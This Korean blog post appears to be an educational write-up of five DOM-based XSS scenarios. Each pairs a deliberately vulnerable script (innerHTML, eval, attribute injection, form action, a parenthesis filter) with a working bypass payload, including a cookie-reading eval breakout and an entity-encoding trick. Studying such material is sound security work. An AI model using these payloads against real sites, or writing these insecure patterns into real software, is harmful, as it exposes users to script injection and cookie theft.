DOM 기반 XSS 취약점 5가지 유형 분석 및 페이로드 우회 기법

HTML 구조와 자바스크립트 동작을 분석하여 DOM 기반 크로스 사이트 스크립팅(DOM XSS) 취약점을 탐지하고 페이로드를 구성하는 과정을 다룹니다. 아래에서는 다섯 가지 서로 다른 필터링 및 실행 컨텍스트에 대한 취약점 분석과 우회 방안을 코드와 함께 설명합니다.

1. URL 파라미터를 통한 innerHTML 직접 주입

첫 번째 시나리오는 URL의 쿼리 스트링을 읽어 DOM 요소의 innerHTML에 직접 할당하는 구조입니다.

<h2 id="headerText"></h2>
<script>
    const userInput = new URL(location).searchParams.get('user') || "Guest";
    headerText.innerHTML = userInput + "님, 환영합니다!";
</script>

위 코드는 user라는 GET 파라미터를 가져와 h2 태그의 내부 HTML로 렌더링합니다. 파라미터가 없을 경우 기본값으로 "Guest"가 사용됩니다. innerHTML은 HTML 태그를 해석하여 실행하므로, 별도의 필터링이 없다면 스크립트 태그를 직접 주입할 수 있습니다.

페이로드:

?user=<script>alert('XSS')</script>

또는 img 태그의 이벤트 핸들러를 활용할 수 있습니다.

?user=<img src=x onerror=alert('XSS')>

2. eval() 함수와 템플릿 리터럴 컨텍스트 우회

두 번째 사례는 eval() 함수 내부의 템플릿 리터럴에 사용자 입력값이 삽입되는 경우입니다.

<h2 id="displayName"></h2>
<script>
    let nick = new URL(location).searchParams.get('nick') || "Anonymous";
    let message = "";
    eval(`message = "안녕하세요, ${nick}님!"`);
    
    setTimeout(() => {
        displayName.innerText = message;
    }, 1000);
</script>

eval()은 문자열을 자바스크립트 코드로 실행합니다. 입력값이 큰따옴표와 템플릿 리터럴 내부에 위치하므로, 문자열을 종료하고 임의의 코드를 실행한 뒤 나머지 부분을 주석 처리하는 방식으로 우회할 수 있습니다.

페이로드:

?nick=Anonymous"; alert(document.cookie); //

이 페이로드가 전달되면 eval 내부 코드는 다음과 같이 재구성되어 실행됩니다.

message = "안녕하세요, Anonymous"; alert(document.cookie); //님!"

3. HTML 태그 속성 주입 및 꺾쇠괄호 필터링 우회

세 번째 환경에서는 꺾쇠괄호(<, >)가 정규식으로 제거되지만, 입력값이 HTML 태그의 속성 값으로 삽입되는 구조입니다.

<div id="searchBox"></div>
<script>
    let query = new URL(location).searchParams.get('q') || "검색어를 입력하세요";
    query = query.replace(/[<>]/g, '');
    searchBox.innerHTML = `<input type="text" class="input-field" placeholder="${query}">`;
</script>

<>가 필터링되어 새로운 HTML 태그를 생성하는 것은 불가능합니다. 하지만 입력값이 placeholder 속성 내부에 존재하므로, 쌍따옴표를 닫고 이벤트 핸들러 속성을 추가하는 방식으로 DOM XSS를 발생시킬 수 있습니다.

페이로드:

?q=test" onfocus="alert('XSS')" autofocus="

렌더링 결과:

<input type="text" class="input-field" placeholder="test" onfocus="alert('XSS')" autofocus="">

4. Form Action 속성과 JavaScript 의사 프로토콜

네 번째 유형은 폼(Form) 태그의 action 속성을 동적으로 할당하고 제출하는 로직입니다.

<form id="dataForm" method="GET">
    <input name="info" type="hidden" value="default">
</form>
<script>
    let targetUrl = new URL(location).searchParams.get('target') || '#';
    dataForm.action = targetUrl;
    
    setTimeout(() => {
        dataForm.submit();
    }, 2000);
</script>

action 속성에는 URL 대신 javascript: 의사 프로토콜(Pseudo-protocol)을 사용할 수 있습니다. 폼이 자동으로 제출될 때 이 프로토콜이 스크립트를 실행합니다.

페이로드:

?target=javascript:alert('XSS')

2초 후 폼이 제출되면서 javascript: 프로토콜에 의해 스크립트가 실행됩니다.

5. 괄호 필터링 우회를 위한 이중 인코딩 기법

마지막 시나리오는 innerHTML을 사용하지만, 괄호 ()와 백슬래시 \ 등의 특정 문자를 필터링하는 방어 로직이 적용된 경우입니다.

<h2 id="resultArea"></h2>
<script>
    let payload = new URL(location).searchParams.get('data') || "결과 없음";
    payload = payload.replace(/[\(\)`\\]/g, '');
    resultArea.innerHTML = payload;
</script>

괄호가 필터링되었기 때문에 alert(1)과 같은 일반적인 함수 호출이 차단됩니다. 이를 우회하기 위해 HTML 엔티티 인코딩과 URL 인코딩을 조합한 이중 인코딩 기법을 사용합니다. 브라우저는 URL 파라미터를 자동으로 URL 디코딩하지만, HTML 엔티티는 innerHTML이 DOM을 파싱할 때 해석됩니다.

먼저 괄호를 HTML 엔티티로 변환합니다.

  • ( -> &#x0028;
  • 1 -> &#x0031;
  • ) -> &#x0029;

그 후, 이 엔티티 문자열 자체를 URL 인코딩하여 파라미터로 전달합니다.

  • &#x0028; -> %26%23x0028%3B

최종 페이로드 (URL 인코딩된 상태):

?data=<img src=x onerror=alert%26%23x0028%3B%26%23x0031%3B%26%23x0029%3B>

서버와 브라우저를 거치며 URL 디코딩이 먼저 수행되어 HTML 엔티티 형태(&#x0028;)로 복원되고, innerHTML에 할당되는 시점에서 브라우저가 엔티티를 실제 괄호 ()로 해석하여 자바스크립트 함수가 정상적으로 실행됩니다.

태그: DOM XSS Cross-Site Scripting Web Security Payload Bypass JavaScript

5월 28일 15:34에 게시됨